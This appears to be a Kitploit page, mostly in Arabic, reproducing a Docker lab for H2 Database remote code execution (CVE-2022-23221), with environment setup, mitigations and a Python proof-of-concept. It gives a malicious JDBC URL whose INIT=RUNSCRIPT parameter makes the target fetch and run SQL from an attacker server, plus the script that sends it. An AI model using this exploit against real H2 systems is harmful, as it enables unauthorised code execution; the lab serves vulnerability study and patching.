Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
أدوات/GitHubGitHub/straightsang/h2-database-cve-2022-23221
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأمن قواعد البياناتمختبرات وتدريب عملي
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

عرض المستودع
3منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

H2 Database RCE (CVE-2022-23221)


  • whs4_1반_고늘상(@straightSang)

1. الملخص

  • المرجع: https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 هو نظام إدارة قواعد بيانات علائقية يوفر إمكانية تجميع وتنفيذ كود Java مباشرةً داخل محرك SQL.

  • يقوم برنامج تشغيل H2 بتحليل JDBC URL لإنشاء الاتصال بين التطبيق وقاعدة البيانات. ومن خلال معاملات الإعداد المضمنة في عنوان URL، يمكن التحكم في الحالة الأولية لقاعدة البيانات أو سلوكها.

  • في الإصدارات الأقدم من H2 2.1.210، توجد مشكلة تسمح بتنفيذ نصوص SQL عن بُعد عبر معامل INIT في JDBC URL. يمكن للمهاجم استغلال ذلك لحقن نص SQL معدَّل عن بُعد وتنفيذ أوامر النظام من خلال صيغته الداخلية، مما يؤدي إلى حدوث ثغرة CVE-2022-23221.

  • تتميز هذه الثغرة بالخصائص التالية:

    1. لا يتطلب مصادقة: إذا كان لدى أي شخص صلاحية إدخال JDBC URL فقط، فيمكنه استغلال هذه الثغرة للسيطرة على النظام.
    2. تنفيذ تلقائي عند بدء الخدمة: إذا اكتفى المهاجم بتعديل ملف الإعدادات، فسيحدث تنفيذ التعليمات البرمجية عن بُعد (RCE) تلقائيًا عند بدء الخدمة التي تستخدم h2.
    3. الخفاء: يصعب على المطوّر إدراك حدوث الهجوم.
    4. نطاق تأثير واسع: نظرًا لسرعة H2 وخفة وزنه، يُستخدم H2 في تطوير واختبار مختلف خدمات الويب. وبما أن أي بيئة يمكنها ضبط JDBC URL عبر ملف الإعدادات أو عبر إدخال المستخدم قد تكون هدفًا للهجوم باستخدام هذه الثغرة، فإن تأثيرها كبير.
  • نطاق تأثر الثغرة

    • الإصدارات المتأثرة: H2 الأقدم من 2.1.210
    • الإصدار المُصحَّح: H2 2.1.210 أو أحدث

2. شروط الثغرة

  • يجب أن يكون الإصدار أقدم من H2 2.1.210.
  • يجب أن يحتوي JDCB URL على IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> تجاوز الإعدادات الأمنية
      • عند وجود هذه المعاملات، يتم تعطيل الإعدادات الأمنية، وبالتالي لا يتم حظر أمر تنفيذ النص البرمجي عن بُعد أثناء التهيئة بل يُنفَّذ كما هو.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> أمر SQL يُنفَّذ تلقائيًا عند اتصال التطبيق بقاعدة البيانات
      • إذا كانت قيمة معامل INIT تتضمن أمر SQL RUNSCRIPT وعنوان النص البرمجي الخبيث، فسيتصل H2 بذلك الخادم لتنزيل الملف وتنفيذه عند إنشاء الاتصال بين التطبيق وقاعدة بيانات H2.
  • يجب أن يحتوي نص SQL الذي تم تنزيله على جملة SQL CREATE ALIAS.
    • جملة CREATE ALIAS داخل النص البرمجي الذي سيُتنفَّذ عن بُعد تدفع H2 إلى تنفيذ دوال Java الموجودة في النص البرمجي ضمن قاعدة البيانات، مما يؤدي في النهاية إلى حدوث RCE.




3. إعداد البيئة

  • السيناريو

    • نقوم بتهيئة بيئة H2 ضعيفة وإدخال JDBC URL خبيث إلى H2. يقوم H2 بتحليل هذا العنوان دون تحقق مناسب، ويستلم ملف sql من خادم attacker وينفذه. إذا ظهرت في سجلات خادم h2-vulnerable السلسلة “EXPLOITED” مع نتائج تنفيذ الأوامر id وwhoami وpwd، فهذا يعني أن بيئة H2 الضعيفة قد تم إعدادها، وأن ملف exploit.sql قد تم تنزيله عن بُعد وتنفيذه من خادم attacker الخارجي أثناء قيام H2 بتحليل JDBC URL الخبيث.
  • إعداد البيئة

    root@kitploit:~
    docker compose up -d 
    

    docker ps

    • عند تشغيل الأمر، تبدأ البيئات التالية.
    • h2-vulnerable: H2 2.0.206 (إصدار ضعيف قبل التصحيح)
      • وحدة تحكم H2 على الويب: http://your-ip:8082
      • خادم TCP: tcp://your-ip:9092
    • attacker: خادم HTTP
      • http://your-ip:8000 : يوفّر ملف exploit.sql
  • بعد إعداد البيئة، عند الدخول إلى http://your-ip:8082 تظهر صفحة H2 على الويب.




4. خطوات إعادة الإنتاج

: نظرًا لأن سياسات الأمان مطبَّقة في وحدة التحكم على الويب، فقد تتم تصفية المعاملات التي تشكّل شروط الثغرة، لذلك نقوم بإعادة إنتاج الثغرة بإدخال JDBC URL يحتوي على معاملات خبيثة مباشرةً عبر CLI ثم التحقق من النتائج.

[حالة الطلب العادي]

  • JDBC URL عادي: "jdbc:h2:mem:test"

  • أمر الطلب العادي

    root@kitploit:~
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • نتيجة التنفيذ التنفيذ عبر CLI

    • لا يوجد أي طلب وارد إلى خادم attacker
    • لا تظهر أي سجلات خاصة على خادم h2-vulnerable

[حالة هجوم الثغرة]

  • JDBC URL خبيث: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. تنفيذ الهجوم

  • يتم إدخال JDBC URL الخبيث إلى برنامج تشغيل H2 لمحاولة الاتصال بخادم attacker. توجد طريقتان لإدخال عنوان URL:

    1. إدخال JDBC URL الخبيث مباشرةً في H2 Shell عبر CLI.
    root@kitploit:~
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    التنفيذ عبر CLI

    1. تشغيل ملف PoC.
    root@kitploit:~
    python3 poc.py
    

    تنفيذ poc.py

2. طلب الملف وتنفيذه

  • وفقًا لمعامل INIT المحدد في JDBC URL، وهو INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'، يقوم H2 بطلب (HTTP GET) ملف exploit.sql من خادم attacker وينفذه داخل قاعدة بيانات H2.

    1. عند تشغيل docker logs attacker، يمكنك ملاحظة سجلات طلبات ملف exploit.sql الواردة من خادم h2-vulnerable.
    root@kitploit:~
    docker logs attacker
    

    1. يُرجع خادم attacker ملف exploit.sql المطلوب، وينفذ خادم h2-vulnerable ملف exploit.sql المستلَم. في هذه المرحلة، تدفع جملة CREATE ALIAS داخل النص البرمجي إلى تنفيذ كود Java، مما يؤدي إلى حدوث RCE.


5. كود poc.py

root@kitploit:~
#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys

"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
    
    # H2 서버 준비 대기
    time.sleep(3)
    
    # 검증 우회 파라미터가 포함된 JDBC URL
    # IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
    # FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
    # INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
    jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
    
    try:
        # H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
        cmd = [
            'docker', 'exec', 'h2-vulnerable',
            'java', '-cp', '/h2-bin/h2.jar',
            'org.h2.tools.Shell',
            '-url', jdbc_url,
            '-user', 'sa',
            '-password', ''
        ]
        
        # Docker 명령어 실행 및 결과
        result = subprocess.run(
            cmd,
            capture_output=True,
            text=True,
            timeout=15
        )
        
        return True
        
    except Exception as e:
        print(f"[-] 에러: {e}")
        return False

"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다. 
반환값: 없음
"""
def main():

    if exploit_h2():
        print("[+] 공격 완료")
    else:
        print("[-] 공격 실패")
        sys.exit(1)

if __name__ == "__main__":
    main()



6. نتائج التنفيذ

  • نتيجة لتنفيذ ملف exploit.sql، تظهر في سجلات خادم h2-vulnerable السلسلة “EXPLOITED” مع نتائج تنفيذ الأوامر id وwhoami وpwd.

  • يمكن التحقق من السجلات باستخدام docker logs h2-vulnerable.

    root@kitploit:~
    docker logs h2-vulnerable`
    

    التحقق من نتائج التنفيذ

=> هذا يعني أن بيئة h2 الضعيفة قد تم إعدادها، وأن تنزيل الملف عن بُعد وتنفيذه نجحا أثناء قيام H2 بتحليل JDBC URL الخبيث.


7. الإجراءات الوقائية

  • الترقية إلى H2 2.1.210 أو أحدث
    • محتوى التصحيح: تقييد وظيفة تنفيذ النصوص الخارجية لمعامل INIT
    • تاريخ الإصدار: 2022-05-15
  • تعزيز التحقق من قيم إدخال JDBC URL: حظر المدخلات التي تحتوي على معاملات مثل INIT وRUNSCRIPT التي تسبب تنفيذ تعليمات برمجية عن بُعد، والتحقق من إدخال JDBC URL باستخدام أسلوب قائم على القائمة البيضاء.
  • مراقبة سلامة الإعدادات والبيئة: عند تغيير ملف الإعدادات، يجب التحقق من عدم التلاعب به ثم الحصول على موافقة المسؤول.
تنزيل الأداة